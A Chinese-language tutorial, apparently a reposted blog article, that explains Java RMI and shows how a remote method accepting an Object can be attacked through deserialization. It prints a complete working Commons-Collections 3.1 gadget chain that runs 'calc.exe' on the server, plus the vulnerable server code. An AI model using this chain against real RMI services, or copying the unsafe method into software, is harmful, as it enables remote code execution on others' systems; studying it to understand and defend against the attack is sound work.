本文笔者带大家学习RMI与攻击,在此之前,先学习一下RMI是什么?
从网上找了一个通俗易懂的话
RMI(Remote Method Invocation),远程方法调用。跟RPC差不多,是java独立实现的一种机制。实际上就是在一个java虚拟机上调用另一个java虚拟机的对象上的方法。
为了便于理解,我画了一张图,服务端有一个A,这个A可以用来吃东西。
但是具体吃什么?是由客户端传入的,当客户端传入苹果,那么服务端的A就吃苹果。
记住这里的客户端是需要重写A方法的,等稍后就会明白是怎么回事。
在来一个专业点的话,是某个师傅写的
RMI分为三个主体部分:
-
Client-客户端:客户端调用服务端的方法
-
Server-服务端:远程调用方法对象的提供者,也是代码真正执行的地方,执行结束会返回给客户端一个方法执行的结果。
-
Registry-注册中心:其实本质就是一个map,相当于是字典一样,用于客户端查询要调用的方法的引用。
总体RMI的调用实现目的就是调用远程机器的类跟调用一个写在自己的本地的类一样。
唯一区别就是RMI服务端提供的方法,被调用的时候该方法是执行在服务端。
首先来写服务端代码:
既然实现功能的话,肯定是要准备一个接口和实现类
接口如下:提供了三个功能,现在先不用纠结这仨功能是做啥的
注意点:必须是public的,必须继承Remote,并throws RemoteException
import java.io.IOException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.ArrayList;
public interface HelloInterface extends Remote {
public String Hello(String name) throws RemoteException;
public String exp(ArrayList<Integer> temp) throws RemoteException;
public void calc(Object obj) throws RemoteException;
}
实现类如下
需要继承UnicastRemoteObject,抛出RemoteException错误。实现类中使用的对象必须都可序列化,即都继承java.io.Serializable
public class HelloInterfaceImpl extends UnicastRemoteObject implements HelloInterface{
public HelloInterfaceImpl() throws RemoteException {
super();
System.out.println("服务端构造函数调用");
}
public String Hello(String name) throws RemoteException {
System.out.println("Server From"+name);
return "Hello world";
}
public String exp(ArrayList<Integer> temp) throws RemoteException {
for (Integer integer : temp) {
System.out.println(integer);
}
return "exp";
}
public void calc(Object obj) throws RemoteException {
System.out.println("test");
System.out.println("calc"+obj);
}
}
现在服务端的功能类写好了,那么接下来写注册中心,这个玩意是什么呢?既然客户端要调用服务端,总得知道服务端地址吧,不然怎么玩?
在创建注册中心之后,在通过bind绑定对象实例到注册中心
public class RMIServer {
public static void main(String[] args) throws Exception {
HelloInterface h = new HelloInterfaceImpl();
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://127.0.0.1:1099/Hello",h);
}
}
接下来写客户端代码,既然知道注册中心的地址了,直接拿来调用呗
public static void main(String[] args) throws Exception {
HelloInterface h = (HelloInterface) Naming.lookup("rmi://127.0.0.1:1099/Hello");
h.Hello("hhhh");
}
但当你们拿上面代码ctrl c+v之后,就会发现HelloInterface这个接口,是服务端的啊!!我客户端没有这个玩意呀。所以客户端直接把服务端的这个接口拿来即可
之后可以发现服务端成功接收到客户端的传参并执行
接下来在看一段话
RMI核心特点之一就是动态类加载。
RMI的流程中,客户端和服务端之间传递的是一些序列化后的对象。比如客户端序列化之后,就会发到服务端,而服务端就会反序列化
这样的话,我们的攻击面就广了。
以Commons-collections3.1组件为例
首先载入依赖包,众所周知CC链就是玩的这个东西~
之后服务端新增一个可以接收Object对象的类(这个最开始就已经写了)
实现如下
@Override
public void calc(Object obj) throws RemoteException {
System.out.println("test");
System.out.println("calc"+obj);
}
那么现在客户端也需要新增即可
一切准备好了,但是要序列化哪个类呢?然后并反序列化的时候能执行我们的恶意代码。
既然前面已经用到了Commons-collections3.1组件,那么就用经典的CC链来打
(本文不在带大家分析CC链,可以从暗月师傅公众号的文章中,来找本人写的CC链系列。)
在getpayload()这个方法中,就构造好了链,
之后会返回成一个Object对象,并通过第五行传入这个恶意方法
public static void main(String[] args) throws Exception {
HelloInterface h = (HelloInterface) Naming.lookup("rmi://127.0.0.1:10981/Hello");
h.Hello("hhhh");
Object obj = getpayload();
h.calc(obj);
}
public static Object getpayload() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "lala");
Map transformedMap = LazyMap.decorate(map,transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
InvocationHandler instance = (InvocationHandler)ctor.newInstance(Target.class, transformedMap);
Map maps = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},instance);
Object obj = ctor.newInstance(Target.class,maps);
return obj;
}
接下来验证一下,把服务端开启
运行客户端之后,直接对客户端的恶意类,进行readObject的时候。执行了恶意方法,但是后续的test没有打印输出,可能是因为错误问题。这里不必去关心
原文始发于微信公众号(安全族):浅谈JAVA RMI攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论